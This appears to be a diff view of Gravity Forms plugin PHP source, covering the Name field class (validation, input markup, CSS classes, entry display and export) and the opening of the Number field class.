* @uses GF_Field_Name::$failed_validation
|
||||
* @uses GF_Field_Name::$validation_message
|
||||
* @uses GF_Field_Name::$errorMessage
|
||||
*
|
||||
* @param array|string $value The value of the field to validate. Not used here.
|
||||
* @param array $form The Form Object. Not used here.
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
function validate( $value, $form ) {
|
||||
|
||||
if ( $this->isRequired && $this->nameFormat != 'simple' ) {
|
||||
$first = rgpost( 'input_' . $this->id . '_3' );
|
||||
$last = rgpost( 'input_' . $this->id . '_6' );
|
||||
if ( ( empty( $first ) && ! $this->get_input_property( '3', 'isHidden' ) )
|
||||
|| ( empty( $last ) && ! $this->get_input_property( '6', 'isHidden' ) ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'This field is required. Please enter the first and last name.', 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines the field settings available for the Name field in the form editor.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDetail::inline_scripts()
|
||||
*
|
||||
* @return array The field settings available.
|
||||
*/
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'admin_label_setting',
|
||||
'label_placement_setting',
|
||||
'sub_label_placement_setting',
|
||||
'default_input_values_setting',
|
||||
'input_placeholders_setting',
|
||||
'name_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the HTML markup for the field input.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_field_input()
|
||||
* @uses GF_Field::is_entry_detail()
|
||||
* @uses GF_Field::is_form_editor()
|
||||
* @uses GF_Field_Name::$size
|
||||
* @uses GF_Field_Name::$id
|
||||
* @uses GF_Field_Name::$subLabelPlacement
|
||||
* @uses GF_Field_Name::$isRequired
|
||||
* @uses GF_Field_Name::$failed_validation
|
||||
* @uses GFForms::get()
|
||||
* @uses GFFormsModel::get_input()
|
||||
* @uses GFCommon::get_input_placeholder_attribute()
|
||||
* @uses GFCommon::get_tabindex()
|
||||
* @uses GFCommon::get_field_placeholder_attribute()
|
||||
* @uses GF_Field_Name::get_css_class()
|
||||
*
|
||||
* @param array $form The Form Object.
|
||||
* @param string $value The value of the field. Defaults to empty string.
|
||||
* @param array|null $entry The Entry Object. Defaults to null.
|
||||
*
|
||||
* @return string The HTML markup for the field input.
|
||||
*/
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
$is_admin = $is_entry_detail || $is_form_editor;
|
||||
|
||||
$form_id = $form['id'];
|
||||
$id = intval( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
$form_id = ( $is_entry_detail || $is_form_editor ) && empty( $form_id ) ? rgget( 'id' ) : $form_id;
|
||||
|
||||
$size = $this->size;
|
||||
$class_suffix = rgget('view') == 'entry' ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
|
||||
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
|
||||
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
|
||||
$field_sub_label_placement = $this->subLabelPlacement;
|
||||
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
|
||||
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
|
||||
|
||||
$prefix = '';
|
||||
$first = '';
|
||||
$middle = '';
|
||||
$last = '';
|
||||
$suffix = '';
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
$prefix = esc_attr( GFForms::get( $this->id . '.2', $value ) );
|
||||
$first = esc_attr( GFForms::get( $this->id . '.3', $value ) );
|
||||
$middle = esc_attr( GFForms::get( $this->id . '.4', $value ) );
|
||||
$last = esc_attr( GFForms::get( $this->id . '.6', $value ) );
|
||||
$suffix = esc_attr( GFForms::get( $this->id . '.8', $value ) );
|
||||
}
|
||||
|
||||
$prefix_input = GFFormsModel::get_input( $this, $this->id . '.2' );
|
||||
$first_input = GFFormsModel::get_input( $this, $this->id . '.3' );
|
||||
$middle_input = GFFormsModel::get_input( $this, $this->id . '.4' );
|
||||
$last_input = GFFormsModel::get_input( $this, $this->id . '.6' );
|
||||
$suffix_input = GFFormsModel::get_input( $this, $this->id . '.8' );
|
||||
|
||||
$first_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $first_input );
|
||||
$middle_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $middle_input );
|
||||
$last_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $last_input );
|
||||
$suffix_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $suffix_input );
|
||||
|
||||
// ARIA labels. Prefix is handled in self::get_name_prefix_field().
|
||||
$first_name_aria_label = esc_attr__( 'First name', 'gravityforms' );
|
||||
$middle_name_aria_label = esc_attr__( 'Middle name', 'gravityforms' );
|
||||
$last_name_aria_label = esc_attr__( 'Last name', 'gravityforms' );
|
||||
$suffix_aria_label = esc_attr__( 'Name suffix', 'gravityforms' );
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
switch ( $this->nameFormat ) {
|
||||
|
||||
case 'advanced' :
|
||||
case 'extended' :
|
||||
$prefix_tabindex = GFCommon::get_tabindex();
|
||||
$first_tabindex = GFCommon::get_tabindex();
|
||||
$middle_tabindex = GFCommon::get_tabindex();
|
||||
$last_tabindex = GFCommon::get_tabindex();
|
||||
$suffix_tabindex = GFCommon::get_tabindex();
|
||||
|
||||
$prefix_sub_label = rgar( $prefix_input, 'customLabel' ) != '' ? $prefix_input['customLabel'] : gf_apply_filters( array( 'gform_name_prefix', $form_id ), esc_html__( 'Prefix', 'gravityforms' ), $form_id );
|
||||
$first_name_sub_label = rgar( $first_input, 'customLabel' ) != '' ? $first_input['customLabel'] : gf_apply_filters( array( 'gform_name_first', $form_id ), esc_html__( 'First', 'gravityforms' ), $form_id );
|
||||
$middle_name_sub_label = rgar( $middle_input, 'customLabel' ) != '' ? $middle_input['customLabel'] : gf_apply_filters( array( 'gform_name_middle', $form_id ), esc_html__( 'Middle', 'gravityforms' ), $form_id );
|
||||
$last_name_sub_label = rgar( $last_input, 'customLabel' ) != '' ? $last_input['customLabel'] : gf_apply_filters( array( 'gform_name_last', $form_id ), esc_html__( 'Last', 'gravityforms' ), $form_id );
|
||||
$suffix_sub_label = rgar( $suffix_input, 'customLabel' ) != '' ? $suffix_input['customLabel'] : gf_apply_filters( array( 'gform_name_suffix', $form_id ), esc_html__( 'Suffix', 'gravityforms' ), $form_id );
|
||||
|
||||
$prefix_markup = '';
|
||||
$first_markup = '';
|
||||
$middle_markup = '';
|
||||
$last_markup = '';
|
||||
$suffix_markup = '';
|
||||
|
||||
if ( $is_sub_label_above ) {
|
||||
|
||||
$style = ( $is_admin && rgar( $prefix_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $prefix_input, 'isHidden' ) ) {
|
||||
$prefix_select_class = isset( $prefix_input['choices'] ) && is_array( $prefix_input['choices'] ) ? 'name_prefix_select' : '';
|
||||
$prefix_markup = self::get_name_prefix_field( $prefix_input, $id, $field_id, $prefix, $disabled_text, $prefix_tabindex );
|
||||
$prefix_markup = "<span id='{$field_id}_2_container' class='name_prefix {$prefix_select_class}' {$style}>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$prefix_sub_label}</label>
|
||||
{$prefix_markup}
|
||||
</span>";
|
||||
}
|
||||
|
||||
$style = ( $is_admin && rgar( $first_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $first_input, 'isHidden' ) ) {
|
||||
$first_markup = "<span id='{$field_id}_3_container' class='name_first' {$style}>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$first_name_sub_label}</label>
|
||||
<input type='text' name='input_{$id}.3' id='{$field_id}_3' value='{$first}' aria-label='{$first_name_aria_label}' {$first_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$first_placeholder_attribute}/>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$style = ( $is_admin && ( ! isset( $middle_input['isHidden'] ) || rgar( $middle_input, 'isHidden' ) ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ( isset( $middle_input['isHidden'] ) && $middle_input['isHidden'] == false ) ) {
|
||||
$middle_markup = "<span id='{$field_id}_4_container' class='name_middle' {$style}>
|
||||
<label for='{$field_id}_4' {$sub_label_class_attribute}>{$middle_name_sub_label}</label>
|
||||
<input type='text' name='input_{$id}.4' id='{$field_id}_4' value='{$middle}' aria-label='{$middle_name_aria_label}' {$middle_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$middle_placeholder_attribute}/>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$style = ( $is_admin && rgar( $last_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $last_input, 'isHidden' ) ) {
|
||||
$last_markup = "<span id='{$field_id}_6_container' class='name_last' {$style}>
|
||||
<label for='{$field_id}_6' {$sub_label_class_attribute}>{$last_name_sub_label}</label>
|
||||
<input type='text' name='input_{$id}.6' id='{$field_id}_6' value='{$last}' aria-label='{$last_name_aria_label}' {$last_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$last_placeholder_attribute}/>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$style = ( $is_admin && rgar( $suffix_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $suffix_input, 'isHidden' ) ) {
|
||||
$suffix_select_class = isset( $suffix_input['choices'] ) && is_array( $suffix_input['choices'] ) ? 'name_suffix_select' : '';
|
||||
$suffix_markup = "<span id='{$field_id}_8_container' class='name_suffix {$suffix_select_class}' {$style}>
|
||||
<label for='{$field_id}_8' {$sub_label_class_attribute}>{$suffix_sub_label}</label>
|
||||
<input type='text' name='input_{$id}.8' id='{$field_id}_8' value='{$suffix}' aria-label='{$suffix_aria_label}' {$suffix_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$suffix_placeholder_attribute}/>
|
||||
</span>";
|
||||
}
|
||||
} else {
|
||||
$style = ( $is_admin && rgar( $prefix_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $prefix_input, 'isHidden' ) ) {
|
||||
$prefix_select_class = isset( $prefix_input['choices'] ) && is_array( $prefix_input['choices'] ) ? 'name_prefix_select' : '';
|
||||
$prefix_markup = self::get_name_prefix_field( $prefix_input, $id, $field_id, $prefix, $disabled_text, $prefix_tabindex );
|
||||
$prefix_markup = "<span id='{$field_id}_2_container' class='name_prefix {$prefix_select_class}' {$style}>
|
||||
{$prefix_markup}
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$prefix_sub_label}</label>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$style = ( $is_admin && rgar( $first_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $first_input, 'isHidden' ) ) {
|
||||
$first_markup = "<span id='{$field_id}_3_container' class='name_first' {$style}>
|
||||
<input type='text' name='input_{$id}.3' id='{$field_id}_3' value='{$first}' aria-label='{$first_name_aria_label}' {$first_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$first_placeholder_attribute}/>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$first_name_sub_label}</label>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$style = ( $is_admin && ( ! isset( $middle_input['isHidden'] ) || rgar( $middle_input, 'isHidden' ) ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ( isset( $middle_input['isHidden'] ) && $middle_input['isHidden'] == false ) ) {
|
||||
$middle_markup = "<span id='{$field_id}_4_container' class='name_middle' {$style}>
|
||||
<input type='text' name='input_{$id}.4' id='{$field_id}_4' value='{$middle}' aria-label='{$middle_name_aria_label}' {$middle_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$middle_placeholder_attribute}/>
|
||||
<label for='{$field_id}_4' {$sub_label_class_attribute}>{$middle_name_sub_label}</label>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$style = ( $is_admin && rgar( $last_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $last_input, 'isHidden' ) ) {
|
||||
$last_markup = "<span id='{$field_id}_6_container' class='name_last' {$style}>
|
||||
<input type='text' name='input_{$id}.6' id='{$field_id}_6' value='{$last}' aria-label='{$last_name_aria_label}' {$last_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$last_placeholder_attribute}/>
|
||||
<label for='{$field_id}_6' {$sub_label_class_attribute}>{$last_name_sub_label}</label>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$style = ( $is_admin && rgar( $suffix_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $suffix_input, 'isHidden' ) ) {
|
||||
$suffix_select_class = isset( $suffix_input['choices'] ) && is_array( $suffix_input['choices'] ) ? 'name_suffix_select' : '';
|
||||
$suffix_markup = "<span id='{$field_id}_8_container' class='name_suffix {$suffix_select_class}' {$style}>
|
||||
<input type='text' name='input_{$id}.8' id='{$field_id}_8' value='{$suffix}' aria-label='{$suffix_aria_label}' {$suffix_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$suffix_placeholder_attribute}/>
|
||||
<label for='{$field_id}_8' {$sub_label_class_attribute}>{$suffix_sub_label}</label>
|
||||
</span>";
|
||||
}
|
||||
}
|
||||
$css_class = $this->get_css_class();
|
||||
|
||||
|
||||
return "<div class='ginput_complex{$class_suffix} ginput_container {$css_class} gfield_trigger_change' id='{$field_id}'>
|
||||
{$prefix_markup}
|
||||
{$first_markup}
|
||||
{$middle_markup}
|
||||
{$last_markup}
|
||||
{$suffix_markup}
|
||||
</div>";
|
||||
case 'simple' :
|
||||
$value = esc_attr( $value );
|
||||
$class = esc_attr( $class );
|
||||
$tabindex = GFCommon::get_tabindex();
|
||||
$placeholder_attribute = GFCommon::get_field_placeholder_attribute( $this );
|
||||
|
||||
return "<div class='ginput_container ginput_container_name'>
|
||||
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class}' {$tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$placeholder_attribute}/>
|
||||
</div>";
|
||||
default :
|
||||
$first_tabindex = GFCommon::get_tabindex();
|
||||
$last_tabindex = GFCommon::get_tabindex();
|
||||
$first_name_sub_label = rgar( $first_input, 'customLabel' ) != '' ? $first_input['customLabel'] : gf_apply_filters( array( 'gform_name_first', $form_id ), esc_html__( 'First', 'gravityforms' ), $form_id );
|
||||
$last_name_sub_label = rgar( $last_input, 'customLabel' ) != '' ? $last_input['customLabel'] : gf_apply_filters( array( 'gform_name_last', $form_id ), esc_html__( 'Last', 'gravityforms' ), $form_id );
|
||||
if ( $is_sub_label_above ) {
|
||||
$first_markup = '';
|
||||
$style = ( $is_admin && rgar( $first_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $first_input, 'isHidden' ) ) {
|
||||
$first_markup = "<span id='{$field_id}_3_container' class='name_first' {$style}>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$first_name_sub_label}</label>
|
||||
<input type='text' name='input_{$id}.3' id='{$field_id}_3' value='{$first}' aria-label='{$first_name_aria_label}' {$first_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$first_placeholder_attribute}/>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$last_markup = '';
|
||||
$style = ( $is_admin && rgar( $last_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $last_input, 'isHidden' ) ) {
|
||||
$last_markup = "<span id='{$field_id}_6_container' class='name_last' {$style}>
|
||||
<label for='{$field_id}_6' {$sub_label_class_attribute}>" . $last_name_sub_label . "</label>
|
||||
<input type='text' name='input_{$id}.6' id='{$field_id}_6' value='{$last}' aria-label='{$last_name_aria_label}' {$last_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$last_placeholder_attribute}/>
|
||||
</span>";
|
||||
}
|
||||
} else {
|
||||
$first_markup = '';
|
||||
$style = ( $is_admin && rgar( $first_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $first_input, 'isHidden' ) ) {
|
||||
$first_markup = "<span id='{$field_id}_3_container' class='name_first' {$style}>
|
||||
<input type='text' name='input_{$id}.3' id='{$field_id}_3' value='{$first}' aria-label='{$first_name_aria_label}' {$first_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$first_placeholder_attribute}/>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>{$first_name_sub_label}</label>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$last_markup = '';
|
||||
$style = ( $is_admin && rgar( $last_input, 'isHidden' ) ) ? "style='display:none;'" : '';
|
||||
if ( $is_admin || ! rgar( $last_input, 'isHidden' ) ) {
|
||||
$last_markup = "<span id='{$field_id}_6_container' class='name_last' {$style}>
|
||||
<input type='text' name='input_{$id}.6' id='{$field_id}_6' value='{$last}' aria-label='{$last_name_aria_label}' {$last_tabindex} {$disabled_text} {$required_attribute} {$invalid_attribute} {$last_placeholder_attribute}/>
|
||||
<label for='{$field_id}_6' {$sub_label_class_attribute}>{$last_name_sub_label}</label>
|
||||
</span>";
|
||||
}
|
||||
}
|
||||
|
||||
$css_class = $this->get_css_class();
|
||||
|
||||
return "<div class='ginput_complex{$class_suffix} ginput_container {$css_class}' id='{$field_id}'>
|
||||
{$first_markup}
|
||||
{$last_markup}
|
||||
<div class='gf_clear gf_clear_complex'></div>
|
||||
</div>";
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines the CSS class to be applied to the field label.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field::get_field_content()
|
||||
*
|
||||
* @return string The CSS class.
|
||||
*/
|
||||
public function get_field_label_class() {
|
||||
return 'gfield_label gfield_label_before_complex';
|
||||
}
|
||||
|
||||
/**
|
||||
* Sets the CSS class to be used by the field input.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field_Name::get_field_input()
|
||||
* @uses GFFormsModel::get_input()
|
||||
*
|
||||
* @return string The CSS class to use for the field.
|
||||
*/
|
||||
public function get_css_class() {
|
||||
|
||||
$prefix_input = GFFormsModel::get_input( $this, $this->id . '.2' );
|
||||
$first_input = GFFormsModel::get_input( $this, $this->id . '.3' );
|
||||
$middle_input = GFFormsModel::get_input( $this, $this->id . '.4' );
|
||||
$last_input = GFFormsModel::get_input( $this, $this->id . '.6' );
|
||||
$suffix_input = GFFormsModel::get_input( $this, $this->id . '.8' );
|
||||
|
||||
$css_class = '';
|
||||
$visible_input_count = 0;
|
||||
|
||||
if ( $prefix_input && ! rgar( $prefix_input, 'isHidden' ) ) {
|
||||
$visible_input_count++;
|
||||
$css_class .= 'has_prefix ';
|
||||
} else {
|
||||
$css_class .= 'no_prefix ';
|
||||
}
|
||||
|
||||
if ( $first_input && ! rgar( $first_input, 'isHidden' ) ) {
|
||||
$visible_input_count++;
|
||||
$css_class .= 'has_first_name ';
|
||||
} else {
|
||||
$css_class .= 'no_first_name ';
|
||||
}
|
||||
|
||||
if ( $middle_input && ! rgar( $middle_input, 'isHidden' ) ) {
|
||||
$visible_input_count++;
|
||||
$css_class .= 'has_middle_name ';
|
||||
} else {
|
||||
$css_class .= 'no_middle_name ';
|
||||
}
|
||||
|
||||
if ( $last_input && ! rgar( $last_input, 'isHidden' ) ) {
|
||||
$visible_input_count++;
|
||||
$css_class .= 'has_last_name ';
|
||||
} else {
|
||||
$css_class .= 'no_last_name ';
|
||||
}
|
||||
|
||||
if ( $suffix_input && ! rgar( $suffix_input, 'isHidden' ) ) {
|
||||
$visible_input_count++;
|
||||
$css_class .= 'has_suffix ';
|
||||
} else {
|
||||
$css_class .= 'no_suffix ';
|
||||
}
|
||||
|
||||
$css_class .= "gf_name_has_{$visible_input_count} ginput_container_name ";
|
||||
|
||||
return trim( $css_class );
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines the field markup to be used for the name prefix.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field_Name::get_field_input()
|
||||
* @uses GFCommon::get_input_placeholder_value()
|
||||
* @uses GFCommon::get_input_placeholder_attribute()
|
||||
*
|
||||
* @param array $input The input item choices.
|
||||
* @param int $id The ID of the name field.
|
||||
* @param int $field_id The field ID of the name field.
|
||||
* @param string $value The value to be used in the prefix field item.
|
||||
* @param string $disabled_text The text to be used if the prefix field item is disabled.
|
||||
* @param int $tabindex The tab index of the prefix field item.
|
||||
*
|
||||
* @return string The field HTML markup.
|
||||
*/
|
||||
public static function get_name_prefix_field( $input, $id, $field_id, $value, $disabled_text, $tabindex ) {
|
||||
|
||||
$prefix_aria_label = esc_attr__( 'Name prefix', 'gravityforms' );
|
||||
|
||||
|
||||
if ( isset( $input['choices'] ) && is_array( $input['choices'] ) ) {
|
||||
$placeholder_value = GFCommon::get_input_placeholder_value( $input );
|
||||
$options = "<option value=''>{$placeholder_value}</option>";
|
||||
$value_enabled = rgar( $input, 'enableChoiceValue' );
|
||||
foreach ( $input['choices'] as $choice ) {
|
||||
$choice_value = $value_enabled ? $choice['value'] : $choice['text'];
|
||||
$is_selected_by_default = rgar( $choice, 'isSelected' );
|
||||
$is_this_choice_selected = empty( $value ) ? $is_selected_by_default : strtolower( $choice_value ) == strtolower( $value );
|
||||
$selected = $is_this_choice_selected ? "selected='selected'" : '';
|
||||
$options .= "<option value='{$choice_value}' {$selected}>{$choice['text']}</option>";
|
||||
}
|
||||
|
||||
$markup = "<select name='input_{$id}.2' id='{$field_id}_2' aria-label='{$prefix_aria_label}' {$tabindex} {$disabled_text}>
|
||||
{$options}
|
||||
</select>";
|
||||
|
||||
} else {
|
||||
$placeholder_attribute = GFCommon::get_input_placeholder_attribute( $input );
|
||||
|
||||
$markup = "<input type='text' name='input_{$id}.2' id='{$field_id}_2' value='{$value}' aria-label='{$prefix_aria_label}' {$tabindex} {$disabled_text} {$placeholder_attribute}/>";
|
||||
}
|
||||
|
||||
return $markup;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the field value to be displayed on the entry detail page.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_lead_field_display()
|
||||
* @uses GF_Field_Name::$id
|
||||
*
|
||||
* @param array|string $value The value of the field input.
|
||||
* @param string $currency Not used.
|
||||
* @param bool $use_text Not used.
|
||||
* @param string $format The format to output the value. Defaults to 'html'.
|
||||
* @param string $media Not used.
|
||||
*
|
||||
* @return array|string The value to be displayed on the entry detail page.
|
||||
*/
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
$prefix = trim( rgget( $this->id . '.2', $value ) );
|
||||
$first = trim( rgget( $this->id . '.3', $value ) );
|
||||
$middle = trim( rgget( $this->id . '.4', $value ) );
|
||||
$last = trim( rgget( $this->id . '.6', $value ) );
|
||||
$suffix = trim( rgget( $this->id . '.8', $value ) );
|
||||
|
||||
$name = $prefix;
|
||||
$name .= ! empty( $name ) && ! empty( $first ) ? " $first" : $first;
|
||||
$name .= ! empty( $name ) && ! empty( $middle ) ? " $middle" : $middle;
|
||||
$name .= ! empty( $name ) && ! empty( $last ) ? " $last" : $last;
|
||||
$name .= ! empty( $name ) && ! empty( $suffix ) ? " $suffix" : $suffix;
|
||||
|
||||
$return = $name;
|
||||
} else {
|
||||
$return = $value;
|
||||
}
|
||||
|
||||
if ( $format === 'html' ) {
|
||||
$return = esc_html( $return );
|
||||
}
|
||||
return $return;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a property value from an input.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field_Name::validate()
|
||||
* @uses GFFormsModel::get_input()
|
||||
*
|
||||
* @param int $input_id The input ID to obtain the property from.
|
||||
* @param string $property_name The property name to search for.
|
||||
*
|
||||
* @return null|string The property value if found. Otherwise, null.
|
||||
*/
|
||||
public function get_input_property( $input_id, $property_name ) {
|
||||
$input = GFFormsModel::get_input( $this, $this->id . '.' . (string) $input_id );
|
||||
|
||||
return rgar( $input, $property_name );
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitizes the field settings choices.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDetail::add_field()
|
||||
* @used-by GFFormsModel::sanitize_settings()
|
||||
* @uses GF_Field::sanitize_settings()
|
||||
* @uses GF_Field::sanitize_settings_choices()
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
if ( is_array( $this->inputs ) ) {
|
||||
foreach ( $this->inputs as &$input ) {
|
||||
if ( isset ( $input['choices'] ) && is_array( $input['choices'] ) ) {
|
||||
$input['choices'] = $this->sanitize_settings_choices( $input['choices'] );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the field value to be used when exporting.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFExport::start_export()
|
||||
* @used-by GFAddOn::get_field_value()
|
||||
* @used-by GFAddOn::get_full_name()
|
||||
*
|
||||
* @param array $entry The Entry Object.
|
||||
* @param string $input_id The input ID to format. Defaults to empty string. If not set, uses t
|
||||
* @param bool $use_text Not used.
|
||||
* @param bool $is_csv Not used.
|
||||
*
|
||||
* @return string The field value.
|
||||
*/
|
||||
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
|
||||
if ( empty( $input_id ) ) {
|
||||
$input_id = $this->id;
|
||||
}
|
||||
|
||||
if ( absint( $input_id ) == $input_id ) {
|
||||
// If field is simple (one input), simply return full content.
|
||||
$name = rgar( $entry, $input_id );
|
||||
if ( ! empty( $name ) ) {
|
||||
return $name;
|
||||
}
|
||||
|
||||
// Complex field (multiple inputs). Join all pieces and create name.
|
||||
$prefix = trim( rgar( $entry, $input_id . '.2' ) );
|
||||
$first = trim( rgar( $entry, $input_id . '.3' ) );
|
||||
$middle = trim( rgar( $entry, $input_id . '.4' ) );
|
||||
$last = trim( rgar( $entry, $input_id . '.6' ) );
|
||||
$suffix = trim( rgar( $entry, $input_id . '.8' ) );
|
||||
|
||||
$name = $prefix;
|
||||
$name .= ! empty( $name ) && ! empty( $first ) ? ' ' . $first : $first;
|
||||
$name .= ! empty( $name ) && ! empty( $middle ) ? ' ' . $middle : $middle;
|
||||
$name .= ! empty( $name ) && ! empty( $last ) ? ' ' . $last : $last;
|
||||
$name .= ! empty( $name ) && ! empty( $suffix ) ? ' ' . $suffix : $suffix;
|
||||
|
||||
return $name;
|
||||
} else {
|
||||
|
||||
return rgar( $entry, $input_id );
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Registers the Name field with the field framework.
|
||||
GF_Fields::register( new GF_Field_Name() );
|
||||
288
includes/fields/class-gf-field-number.php
Normal file
288
includes/fields/class-gf-field-number.php
Normal file
@@ -0,0 +1,288 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Number extends GF_Field {
|
||||
|
||||
public $type = 'number';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Number', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'number_format_setting',
|
||||
'range_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'calculation_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
|
||||
|
||||
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
|
||||
$value = trim( $value );
|
||||
if ( $this->numberFormat == 'currency' ) {
|
||||
$currency = new RGCurrency( GFCommon::get_currency() );
|
||||
$value = $currency->to_number( $value );
|
||||
} elseif ( $this->numberFormat == 'decimal_comma' ) {
|
||||
$value = GFCommon::clean_number( $value, 'decimal_comma' );
|
||||
} elseif ( $this->numberFormat == 'decimal_dot' ) {
|
||||
